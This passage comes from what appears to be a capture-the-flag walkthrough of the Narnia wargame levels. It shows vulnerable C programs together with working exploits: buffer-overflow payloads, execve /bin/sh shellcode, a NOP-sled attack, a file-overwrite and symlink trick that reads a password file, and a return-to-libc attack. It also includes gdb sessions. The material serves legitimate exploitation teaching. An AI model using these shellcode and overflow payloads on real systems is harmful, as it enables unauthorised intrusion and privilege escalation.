<span class="k">if</span><span class="p">(</span><span class="n">val</span><span class="o">==</span><span class="mh">0xdeadbeef</span><span class="p">)</span>
<span class="n">system</span><span class="p">(</span><span class="s2">"/bin/sh"</span><span class="p">);</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"WAY OFF!!!!</span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
<p>In this example, value of variable val can be overwritten by overflowing buf. Another small observation is scanf function scans 24 characters. If you directly write 20 “A” and the address it won’t work as the val doesn’t matches. So, we have to use python print command. If we use</p>
<div class="code python highlight-default"><div class="highlight"><pre><span></span><span class="n">python</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'print "A"*20 + "</span><span class="se">\xef\xbe\xad\xde</span><span class="s1">"'</span> <span class="o">|</span> <span class="o">./</span><span class="n">narnia0</span>
</pre></div>
</div>
<p>you will see that the value would match but the shell is exited. To keep the shell active, we need to use cat as shown below:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="p">(</span><span class="n">python</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'print "A"*20 + "</span><span class="se">\xef\xbe\xad\xde</span><span class="s1">"'</span><span class="p">;</span><span class="n">cat</span><span class="p">)</span> <span class="o">|</span> <span class="o">./</span><span class="n">narnia0</span>
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>In another example below Narnia1</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="c1">#include <stdio.h></span>
<span class="nb">int</span> <span class="n">main</span><span class="p">(){</span>
<span class="nb">int</span> <span class="p">(</span><span class="o">*</span><span class="n">ret</span><span class="p">)();</span>
<span class="k">if</span><span class="p">(</span><span class="n">getenv</span><span class="p">(</span><span class="s2">"EGG"</span><span class="p">)</span><span class="o">==</span><span class="n">NULL</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"Give me something to execute at the env-variable EGG</span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"Trying to execute EGG!</span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">getenv</span><span class="p">(</span><span class="s2">"EGG"</span><span class="p">);</span>
<span class="n">ret</span><span class="p">();</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
<p>We need to set a environment variable EGG with an shellcode. Previously, I tried with</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">export</span> <span class="n">EGG</span><span class="o">=</span><span class="s2">"</span><span class="se">\b</span><span class="s2">in\sh"</span>
<span class="ow">and</span>
<span class="n">export</span> <span class="n">EGG</span><span class="o">=</span><span class="s2">"</span><span class="se">\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80</span><span class="s2">"</span>
</pre></div>
</div>
<p>Shellcode were taken from the Shellstorm website. However, both failed with Segmentation fault. superkojiman, barrebas helped me with and told that if I write</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>export EGG=`python -c 'print "\xCC"'`
</pre></div>
</div>
<p>It should sigtrap. “xCC” acts as a software breakpoint, basically an INT3, It tells you whether your shellcode is stored properly & executed, if the program receives SIGTRAP, you know you’re good to go, and it’s a good way to make sure you’ve properly redirected execution to your shellcode. You can further put “xCC” anywhere in the shellcode, if it crashes before “xCC”, you know for sure that your shellcode has bad characters. They suggested to export the EGG variable as</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>export EGG=`python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"'`
</pre></div>
</div>
<p>and it worked like a charm.</p>
</div></blockquote>
<ul class="simple">
<li>In another example Narnia2</li>
</ul>
<blockquote>
<div><div class="highlight-default"><div class="highlight"><pre><span></span><span class="c1">#include <stdio.h></span>
<span class="c1">#include <string.h></span>
<span class="c1">#include <stdlib.h></span>
<span class="nb">int</span> <span class="n">main</span><span class="p">(</span><span class="nb">int</span> <span class="n">argc</span><span class="p">,</span> <span class="n">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
<span class="n">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">==</span> <span class="mi">1</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"Usage: </span><span class="si">%s</span><span class="s2"> argument</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"</span><span class="si">%s</span><span class="s2">"</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
<p>It’s to easy that buffer overflow vulnerability exists because of strcpy. Let’s see what is the offset for this.</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>ulimit -c unlimited
./narnia2 `/usr/share/metasploit-framework/tools/pattern_create.rb 200`
Segmentation fault (core dumped)
gdb -q -c core ./narnia2
#0 0x37654136 in ?? ()
/usr/share/metasploit-framework/tools/pattern_offset.rb 0x37654136
[*] Exact match at offset 140
narnia2@melinda:~$ gdb -q /narnia/narnia2
(gdb) disassemble main
Dump of assembler code for function main:
**Snip**
0x080484a0 <+67>: mov %eax,(%esp)
0x080484a3 <+70>: call 0x8048320 <strcpy@plt>
**Snip**
End of assembler dump.
(gdb) br *main+70
Breakpoint 1 at 0x80484a3
(gdb) run `python -c 'print "A"*140 + "BBBB"'`
Starting program: /games/narnia/narnia2 `python -c 'print "A"*140 + "BBBB"'`
Breakpoint 1, 0x080484a3 in main ()
(gdb) n
0x42424242 in ?? ()
</pre></div>
</div>
<p>Let’s see the stack after the strcpy, which would tell us the probable address we want to redirect execution.</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>(gdb) x/80xw $esp+400
0xffffd7e0: 0x0000000f 0xffffd80b 0x00000000 0x00000000
0xffffd7f0: 0x00000000 0x00000000 0x1d000000 0xa9c79d1b
0xffffd800: 0xe1a67367 0xc19fc850 0x6996cde4 0x00363836
0xffffd810: 0x2f000000 0x656d6167 0x616e2f73 0x61696e72
0xffffd820: 0x72616e2f 0x3261696e 0x41414100 0x41414141
0xffffd830: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd840: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd850: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd860: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd870: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd880: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd890: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8b0: 0x41414141 0x42424241 0x44580042 0x45535f47
0xffffd8c0: 0x4f495353 0x44495f4e 0x3939383d 0x53003733
</pre></div>
</div>
<p>Let pick a shellcode from shellstorm for a Linux x86 execuve /bin/sh and calculate the number of NOPs</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>narnia2@melinda:~$ python -c 'print len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")'
23
narnia2@melinda:~$ bc
140-23
117
narnia2@melinda:~$ /narnia/narnia2 `python -c 'print "\x90"*117 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x50\xd8\xff\xff"'`
$ cat /etc/narnia_pass/narnia3
**********
$
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>In another example Narnia3</li>
</ul>
<blockquote>
<div><div class="code c highlight-default"><div class="highlight"><pre><span></span><span class="c1">#include <stdio.h></span>
<span class="c1">#include <sys/types.h></span>
<span class="c1">#include <sys/stat.h></span>
<span class="c1">#include <fcntl.h></span>
<span class="c1">#include <unistd.h></span>
<span class="c1">#include <stdlib.h></span>
<span class="c1">#include <string.h></span>
<span class="nb">int</span> <span class="n">main</span><span class="p">(</span><span class="nb">int</span> <span class="n">argc</span><span class="p">,</span> <span class="n">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
<span class="nb">int</span> <span class="n">ifd</span><span class="p">,</span> <span class="n">ofd</span><span class="p">;</span>
<span class="n">char</span> <span class="n">ofile</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"/dev/null"</span><span class="p">;</span>
<span class="n">char</span> <span class="n">ifile</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
<span class="n">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"usage, </span><span class="si">%s</span><span class="s2"> file, will send contents of file 2 /dev/null</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="o">/*</span> <span class="nb">open</span> <span class="n">files</span> <span class="o">*/</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">ifile</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="k">if</span><span class="p">((</span><span class="n">ofd</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">ofile</span><span class="p">,</span><span class="n">O_RDWR</span><span class="p">))</span> <span class="o"><</span> <span class="mi">0</span> <span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"error opening </span><span class="si">%s</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span> <span class="n">ofile</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">((</span><span class="n">ifd</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">ifile</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">))</span> <span class="o"><</span> <span class="mi">0</span> <span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"error opening </span><span class="si">%s</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span> <span class="n">ifile</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="o">/*</span> <span class="n">copy</span> <span class="kn">from</span> <span class="nn">file1</span> <span class="n">to</span> <span class="n">file2</span> <span class="o">*/</span>
<span class="n">read</span><span class="p">(</span><span class="n">ifd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="n">write</span><span class="p">(</span><span class="n">ofd</span><span class="p">,</span><span class="n">buf</span><span class="p">,</span> <span class="n">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"copied contents of </span><span class="si">%s</span><span class="s2"> to a safer place... (</span><span class="si">%s</span><span class="s2">)</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span><span class="n">ifile</span><span class="p">,</span><span class="n">ofile</span><span class="p">);</span>
<span class="o">/*</span> <span class="n">close</span> <span class="s1">'em */</span>
<span class="n">close</span><span class="p">(</span><span class="n">ifd</span><span class="p">);</span>
<span class="n">close</span><span class="p">(</span><span class="n">ofd</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
</div>
<p>Superkojiman notes explain this best, copied here with permission, thanks superkojiman :)</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>narnia3@melissa:/narnia$ ./narnia3 /etc/motd
copied contents of /etc/motd to a safer place... (/dev/null)
</pre></div>
</div>
<p>We can use this program to read the contents of /etc/narnia_pass/narnia4, but the output is written to /dev/null. We control the input file and the output file is set as /dev/null. However, because of the way the stack is laid out, we can write past the ifile buffer and overwrite the value of ofile. This lets us replace /dev/null with another file of our choosing. Here’s what the stack looks like:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="o">+---------+</span>
<span class="o">|</span> <span class="n">ret</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">sfp</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">ofd</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">ifd</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">ofile</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">ifile</span> <span class="o">|</span>
<span class="o">|</span> <span class="n">buf</span> <span class="o">|</span>
<span class="o">+---------+</span> <span class="o"><-</span> <span class="n">esp</span>
</pre></div>
</div>
<p>ifile and ofile are 32-byte arrays. We can compile the program with -ggdb and examine it in gdb</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="c1"># gcc -ggdb -m32 -fno-stack-protector -Wl,-z,norelro narnia3.c -o narnia3</span>
<span class="c1"># gdb -q narnia3</span>
</pre></div>
</div>
<p>If we disas main, we can see that strcpy is called at *main+100:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>0x08048551 <+93>: lea 0x38(%esp),%eax
0x08048555 <+97>: mov %eax,(%esp)
0x08048558 <+100>: call 0x8048400 <strcpy@plt>
0x0804855d <+105>: movl $0x2,0x4(%esp)
0x08048565 <+113>: lea 0x58(%esp),%eax
0x08048569 <+117>: mov %eax,(%esp)
</pre></div>
</div>
<p>We set a breakpoint there and run the program with the following arguments:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>(gdb) r `python -c 'print "A"*32 + "/tmp/hack"'`
Starting program: /root/wargames/narnia/3/narnia3 `python -c 'print "A"*32 + "/tmp/hack"'`
Breakpoint 1, 0x08048558 in main (argc=2, argv=0xbffff954) at narnia3.c:37
37 strcpy(ifile, argv[1]);
</pre></div>
</div>
<p>At the first breakpoint, we examine the local variables</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="p">(</span><span class="n">gdb</span><span class="p">)</span> <span class="n">i</span> <span class="nb">locals</span>
<span class="n">ifd</span> <span class="o">=</span> <span class="mi">134514299</span>
<span class="n">ofd</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1208180748</span>
<span class="n">ofile</span> <span class="o">=</span> <span class="s2">"/dev/null</span><span class="se">\000\000\000\000\000\000</span><span class="s2">"</span>
<span class="n">ifile</span> <span class="o">=</span> <span class="s2">"x</span><span class="se">\370\377\277\234\203\004\b\200\020\377\267\214\230\004\b\250\370\377\277\211\206\004\b</span><span class="s2">$</span><span class="se">\243\374\267\364\237</span><span class="s2">"</span><span class="p">,</span> <span class="o"><</span><span class="n">incomplete</span> <span class="n">sequence</span> \<span class="mi">374</span>\<span class="mi">267</span><span class="o">></span>
<span class="n">buf</span> <span class="o">=</span> <span class="s2">"</span><span class="se">\370\370\377\267\364\237\374\267\371\234\367\267\245</span><span class="s2">B</span><span class="se">\352\267</span><span class="s2">h</span><span class="se">\370\377\277</span><span class="s2">չ</span><span class="se">\350\267\364\237\374\267\214\230\004\b</span><span class="s2">"</span>
</pre></div>
</div>
<p>ofile is set to /dev/null as expected. We’ll step to the next instruction and check again.</p>
<div class="highlight-default"><div class="highlight"><pre><span></span> <span class="p">(</span><span class="n">gdb</span><span class="p">)</span> <span class="n">s</span>
<span class="mi">38</span> <span class="k">if</span><span class="p">((</span><span class="n">ofd</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">ofile</span><span class="p">,</span><span class="n">O_RDWR</span><span class="p">))</span> <span class="o"><</span> <span class="mi">0</span> <span class="p">){</span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span> <span class="n">i</span> <span class="nb">locals</span>
<span class="n">ifd</span> <span class="o">=</span> <span class="mi">134514299</span>
<span class="n">ofd</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1208180748</span>
<span class="n">ofile</span> <span class="o">=</span> <span class="s2">"/tmp/hack</span><span class="se">\000\000\000\000\000\000</span><span class="s2">"</span>
<span class="n">ifile</span> <span class="o">=</span> <span class="s1">'A'</span> <span class="o"><</span><span class="n">repeats</span> <span class="mi">32</span> <span class="n">times</span><span class="o">></span>
<span class="n">buf</span> <span class="o">=</span> <span class="s2">"</span><span class="se">\370\370\377\267\364\237\374\267\371\234\367\267\245</span><span class="s2">B</span><span class="se">\352\267</span><span class="s2">h</span><span class="se">\370\377\277</span><span class="s2">չ</span><span class="se">\350\267\364\237\374\267\214\230\004\b</span><span class="s2">"</span>
<span class="n">As</span> <span class="n">expected</span><span class="p">,</span> <span class="n">ofile</span> <span class="n">has</span> <span class="n">been</span> <span class="n">overwritten</span> <span class="n">to</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">hack</span><span class="o">.</span> <span class="n">However</span> <span class="n">ifile</span> <span class="ow">is</span> <span class="n">now</span> <span class="n">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span><span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">hack</span> <span class="n">so</span> <span class="ow">in</span> <span class="n">order</span> <span class="n">to</span> <span class="n">read</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">narnia_pass</span><span class="o">/</span><span class="n">narnia4</span><span class="p">,</span> <span class="n">we</span> <span class="n">need</span> <span class="n">to</span> <span class="n">create</span> <span class="n">a</span> <span class="n">directory</span> <span class="n">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span><span class="o">/</span><span class="n">tmp</span> <span class="ow">and</span> <span class="n">symlink</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">narnia_pass</span><span class="o">/</span><span class="n">narnia4</span> <span class="n">to</span> <span class="n">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span><span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">hack</span>
</pre></div>
</div>
<div class="highlight-default"><div class="highlight"><pre><span></span>narnia3@melissa:/tmp/skojiman3$ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp
narnia3@melissa:/tmp/skojiman3$ ln -s /etc/narnia_pass/narnia4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/hack
</pre></div>
</div>
<p>Next we need to create the output file /tmp/hack that ofile points to</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>narnia3@melissa:/tmp/skojiman3$ touch /tmp/hack
narnia3@melissa:/tmp/skojiman3$ chmod 666 /tmp/hack
narnia3@melissa:/tmp/skojiman3$ ls -l /tmp/hack
-rw-rw-rw- 1 narnia3 narnia3 0 2012-11-24 22:58 /tmp/hack
</pre></div>
</div>
<p>Finally, execute /narnia/narnia3 as follows:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>narnia3@melissa:/tmp/skojiman3$ /narnia/narnia3 `python -c 'print "A"*32 + "/tmp/hack"'`
copied contents of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/hack to a safer place... (/tmp/hack)
narnia3@melissa:/tmp/skojiman3$ cat /tmp/hack
thaenohtai
��*������e���@�narnia3@melissa:/tmp/skojiman3$
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Let’s see another example Narnia6.</li>
</ul>
<blockquote>
<div><div class="code c highlight-default"><div class="highlight"><pre><span></span><span class="c1">#include <stdio.h></span>
<span class="c1">#include <stdlib.h></span>
<span class="c1">#include <string.h></span>
<span class="n">extern</span> <span class="n">char</span> <span class="o">**</span><span class="n">environ</span><span class="p">;</span>
<span class="o">//</span> <span class="n">tired</span> <span class="n">of</span> <span class="n">fixing</span> <span class="n">values</span><span class="o">...</span>
<span class="o">//</span> <span class="o">-</span> <span class="n">morla</span>
<span class="n">unsigned</span> <span class="n">long</span> <span class="n">get_sp</span><span class="p">(</span><span class="n">void</span><span class="p">)</span> <span class="p">{</span>
<span class="n">__asm__</span><span class="p">(</span><span class="s2">"movl </span><span class="si">%e</span><span class="s2">sp,</span><span class="si">%e</span><span class="s2">ax</span><span class="se">\n\t</span><span class="s2">"</span>
<span class="s2">"and $0xff000000, </span><span class="si">%e</span><span class="s2">ax"</span>
<span class="p">);</span>
<span class="p">}</span>
<span class="nb">int</span> <span class="n">main</span><span class="p">(</span><span class="nb">int</span> <span class="n">argc</span><span class="p">,</span> <span class="n">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[]){</span>
<span class="n">char</span> <span class="n">b1</span><span class="p">[</span><span class="mi">8</span><span class="p">],</span> <span class="n">b2</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
<span class="nb">int</span> <span class="p">(</span><span class="o">*</span><span class="n">fp</span><span class="p">)(</span><span class="n">char</span> <span class="o">*</span><span class="p">)</span><span class="o">=</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="n">char</span> <span class="o">*</span><span class="p">))</span><span class="o">&</span><span class="n">puts</span><span class="p">,</span> <span class="n">i</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span><span class="o">!=</span><span class="mi">3</span><span class="p">){</span> <span class="n">printf</span><span class="p">(</span><span class="s2">"</span><span class="si">%s</span><span class="s2"> b1 b2</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span> <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span> <span class="p">}</span>
<span class="o">/*</span> <span class="n">clear</span> <span class="n">environ</span> <span class="o">*/</span>
<span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">environ</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="n">NULL</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">memset</span><span class="p">(</span><span class="n">environ</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="s1">'</span><span class="se">\0</span><span class="s1">'</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">environ</span><span class="p">[</span><span class="n">i</span><span class="p">]));</span>
<span class="o">/*</span> <span class="n">clear</span> <span class="n">argz</span> <span class="o">*/</span>
<span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">3</span><span class="p">;</span> <span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="n">NULL</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">memset</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="s1">'</span><span class="se">\0</span><span class="s1">'</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]));</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">b1</span><span class="p">,</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">b2</span><span class="p">,</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
<span class="o">//</span><span class="k">if</span><span class="p">(((</span><span class="n">unsigned</span> <span class="n">long</span><span class="p">)</span><span class="n">fp</span> <span class="o">&</span> <span class="mh">0xff000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xff000000</span><span class="p">)</span>
<span class="k">if</span><span class="p">(((</span><span class="n">unsigned</span> <span class="n">long</span><span class="p">)</span><span class="n">fp</span> <span class="o">&</span> <span class="mh">0xff000000</span><span class="p">)</span> <span class="o">==</span> <span class="n">get_sp</span><span class="p">())</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="n">fp</span><span class="p">(</span><span class="n">b1</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
</div>
<p>Stack is not executable for this binary. This binary is an example of “return-to-libc” attack is a computer security attack usually starting with a buffer overflow in which a subroutine return address on a call stack is replaced by an address of a subroutine that is already present in the process’ executable memory, rendering the NX bit feature useless (if present) and ridding the attacker of the need to inject their own code.</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>gdb -q narnia6
Reading symbols from /home/bitvijays/narnia6...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$
</pre></div>
</div>
<p>Let’s compile the source on the local and check what happens:</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">gcc</span> <span class="o">-</span><span class="n">m32</span> <span class="o">-</span><span class="n">ggdb</span> <span class="o">-</span><span class="n">fno</span><span class="o">-</span><span class="n">stack</span><span class="o">-</span><span class="n">protector</span> <span class="o">-</span><span class="n">Wall</span> <span class="n">narnia6</span><span class="o">.</span><span class="n">c</span> <span class="o">-</span><span class="n">o</span> <span class="n">narnia61</span>
</pre></div>
</div>
<p>If you see carefully, we passed A<em>8 + BBBB + ” ” + “C”</em>8 + DDDD, which resulted in</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>gdb -q ./narnia61
gdb-peda$ pdisass main
Dump of assembler code for function main:
0x080486d2 <+330>: call 0x8048450 <exit@plt>
0x080486d7 <+335>: lea eax,[esp+0x20]
0x080486db <+339>: mov DWORD PTR [esp],eax
0x080486de <+342>: mov eax,DWORD PTR [esp+0x28]
0x080486e2 <+346>: call eax
0x080486e4 <+348>: mov DWORD PTR [esp],0x1
0x080486eb <+355>: call 0x8048450 <exit@plt>
End of assembler dump.
gdb-peda$ br *main+346
Breakpoint 1 at 0x80486e2: file narnia6.c, line 48.
gdb-peda$ run `python -c 'print "A"*8 + "BBBB" + " " + "C"*8 + "DDDD"'`
[-------------------------------------code-------------------------------------]
0x80486d7 <main+335>: lea eax,[esp+0x20]
0x80486db <main+339>: mov DWORD PTR [esp],eax
0x80486de <main+342>: mov eax,DWORD PTR [esp+0x28]
=> 0x80486e2 <main+346>: call eax
0x80486e4 <main+348>: mov DWORD PTR [esp],0x1
0x80486eb <main+355>: call 0x8048450 <exit@plt>
0x80486f0 <__libc_csu_fini>: push ebp
0x80486f1 <__libc_csu_fini+1>: mov ebp,esp
Guessed arguments:
arg[0]: 0xffffd380 ("DDDD")
Breakpoint 1, 0x080486e2 in main (argc=0x3, argv=0xffffd444) at narnia6.c:48
48 fp(b1);
gdb-peda$ p b1
$1 = "DDDD\000AAA"
gdb-peda$ p b2
$2 = "CCCCCCCC"
gdb-peda$ p puts
$3 = {<text variable, no debug info>} 0xf7eb3360 <puts>
gdb-peda$ p system
$4 = {<text variable, no debug info>} 0xf7e8bc30 <system>
gdb-peda$ p &b1
$5 = (char (*)[8]) 0xffffd380
gdb-peda$ x/50xw 0xffffd350
0xffffd360: 0xffffd380 0xffffd5df 0x0000003b 0x0804874b
0xffffd370: 0x00000003 0xffffd444 0x43434343 0x43434343
0xffffd380: 0x44444444 0x41414100 0x42424242 0x00000000
0xffffd390: 0x08048700 0xf7fb0ff4 0xffffd418 0xf7e66e46
0xffffd3a0: 0x00000003 0xffffd444 0xffffd454 0xf7fde860
gdb-peda$ p fp
$6 = (int (*)(char *)) 0x42424242
gdb-peda$ p &fp
$7 = (int (**)(char *)) 0xffffd388
gdb-peda$ p $fp
$8 = (void *) 0xffffd398
</pre></div>
</div>
<p>The address of fp “p &fp” is 0xffffd3888 which has a value of (“p fp”) 0x42424242. As previously the stack is NoteXecutable, but stdlib.h is included in the C Program. Stdlib.h includes system call which has an address of (“p system”) 0xf7e8bc30. Further DDDD overwrites AAAA with the Null byte.</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>narnia6@melinda:/narnia$ ./narnia6 `python -c 'print "A"*8 + "\x40\x1c\xe6\xf7" + " " + "C"*8 + "/bin/sh"'`
$ cat /etc/narnia_pass/narnia7
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Let’s see another example where we have to use a environment variable to invoke a shell Narnia8.</li>
</ul>
<blockquote>
<div><div class="code c highlight-default"><div class="highlight"><pre><span></span><span class="c1">#include <stdio.h></span>
<span class="c1">#include <stdlib.h></span>
<span class="c1">#include <string.h></span>
<span class="o">//</span> <span class="n">gcc</span><span class="s1">'s variable reordering fucked things up</span>
